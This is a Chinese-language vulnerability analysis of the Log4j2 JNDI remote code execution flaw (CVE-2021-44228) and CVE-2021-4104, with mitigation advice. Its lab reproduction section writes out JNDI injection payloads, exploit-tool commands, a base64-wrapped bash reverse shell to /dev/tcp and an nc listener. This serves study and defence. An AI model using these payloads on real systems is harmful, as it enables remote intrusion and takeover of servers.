本文主要对12月9日Log4j2远程命令执行漏洞(CVE-2021-44228)的造成原理以及利用方式进行分析和介绍,还对apache官方在12月14日发布的CVE-2021-4104(影响Log4j 1.2版本)漏洞进行介绍并提出处置建议。
图 1 Apache工程师对CVE-2021-4104的描述
12 月 9 日是一个值得纪念的日子……令所有安全从业人员多掉几根头发的日子,Log4j2 RCE POC的公开,直接导致了一波安全从业人员的疯狂运动,由于受该漏洞影响的服务几乎无处不在,各个应急响应单位一夜之间纷纷停接该漏洞的提交申请。由于Log4j2 RCE的影响巨大,甚至有人称之为新一代的“永恒之蓝”。
图 2 朋友圈惊叹Log4j2漏洞无处不在
图 3 堪称最安全的苹果系统也无法逃避
下面是触发漏洞的两部分关键代码:
1.org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
在 ${ 中可以使用的关键词如下:
图 4 ${可替换的内容
2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
日志在打印时当遇到 ${ 后,Interpolator 类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:
${jndi:ldap://ip/port/exp}
最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令,整个利用流程如图所示:
图 5 利用流程图
整个利用流程分两步:
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
关于利用LDAP服务来进行注入攻击已经不是第一次了,JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。Fastjson RCE漏洞的利用也用到LDAP注入攻击,还有其他的一些。
图 6 JNDI注入中RMI和LDAP与JDK版本的关系
网络环境:
(可以通过使用docker来下载漏洞镜像:
docker pull vulfocus/log4j2-rce-2021-12-09:latest)
需要的工具:
工具链接:
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/Mr-xn/JNDIExploit-1
已经知道存在漏洞是因为在打日志的时候存在问题,所以对于黑盒测试而言,只要是能够被服务端获取且被记录的地方都是可以触发漏洞的,比如 header 中的 Cookie、User-agent 等,post或者get的参数中,url中等,这种只能盲打,根据返回结果来判断。
所以检测时主要在header和数据部分中增加 payload 进行漏洞触发,可以使用dnslog平台相关域名访问进行漏洞检测。
部分公共dnslog平台如下:
ceye.io、dnslog.link、dnslog.cn、dnslog.io、tu4.org、burpcollaborator.net、s0x.cn
这边我使用了ceye.io来进行验证。
Request data:
POST /xxx HTTP/1.1
Host: (漏洞IP):49153
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 1.1.1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
payload=${jndi:ldap://xxxxxx.ceye.io}
图 7 dnslog验证请求
从平台上可以看到dns的解析记录,说明存在漏洞。
图 8 dnslog记录
图 9 IP验证
网络通信主要流程如下图所示。
图 10 通信流程
在172服务器上使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar启动一个ldap服务 ,如果出现报错,可以下载源码,重新编译。
可以更改端口后编译,在/src/main/java/run/ServerStart.java 的26-28行位置进行修改。
对工具进行编译
mvn clean package -DskipTests
编译完成后,开启jndi服务。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,(反弹shell base64 编码)}|{base64,-d}|{bash,-i}" -A "(放置攻击负载的IP)"
反弹shell base64 编码内容为
bash -i >& /dev/tcp/ip/port 0>&1
启动服务
图 11 启动jndi服务
在89服务器上开启监听
nc -lvnp 9999
图 12 监听端口
172主机发送请求
Request data:
POST /xxx HTTP/1.1
Host: (漏洞ip):49153
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 1.1.1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
payload=${jndi:rmi://x.x.x.172:11099/ow5ppx}
图 13 请求攻击负载
172的JNDI服务收到190的请求。
图 14 jndi服务收到请求
89服务器监听到shell命令,说明反弹shell成功。
当攻击者具有对Log4j配置的写访问权限时,Log4j 1.2中的JMSAppender容易受到不受信任数据反序列化的攻击。攻击者可以提供TopicBindingName和TopicConnectionFactoryBindingName配置,导致JMSApender执行JNDI请求,从而以与CVE-2021-44228类似的方式执行远程代码。
注意:当专门配置使用JMSApender时,此问题仅影响Log4j 1.2,这不是默认设置。Apache Log4j 1.2于2015年8月终止使用。用户应该升级到Log4j 2,因为它解决了以前版本中的许多其他问题。
升级Log4j到最新版本
若暂时无法进行升级操作,可先用下列措施进行临时缓解:
1、添加jvm参数启动:-Dlog4j2.formatMsgNoLookups=true
图 15 添加jvm参数启动
2、在应用的classpath下添加log4j2.component.properties配置文件,文件内容为:log4j2.formatMsgNoLookups=true
图 16 添加配置
3、设置系统环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true
4、使用下列命令,移除log4j-core包中的JndiLookup 类文件:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
注:当且仅当Apache Log4j >= 2.10版本时,可使用1、2、3、4的任一措施进行防护。
5、采用人工方式禁用JNDI,例:在spring.properties里添加spring.jndi.ignore=true
6、建议使用JDK在11.0.1、8u191、7u201、6u211及以上的高版本,可在一定程度防止RCE。
7、限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html(lookups)
https://blog.csdn.net/weixin_42345596/article/details/119421070(Fastjson远程命令执行漏洞总结)
https://blog.csdn.net/caiqiiqi/article/details/105951247(《JDK 8u191之后的JNDI注入(LDAP)》学习)
https://security.tencent.com/index.php/blog/msg/131(深入理解JNDI注入与Java反序列化漏洞利用)
https://blog.csdn.net/whatday/article/details/107098353(java Runtime.getRuntime().exec 获取反弹shell)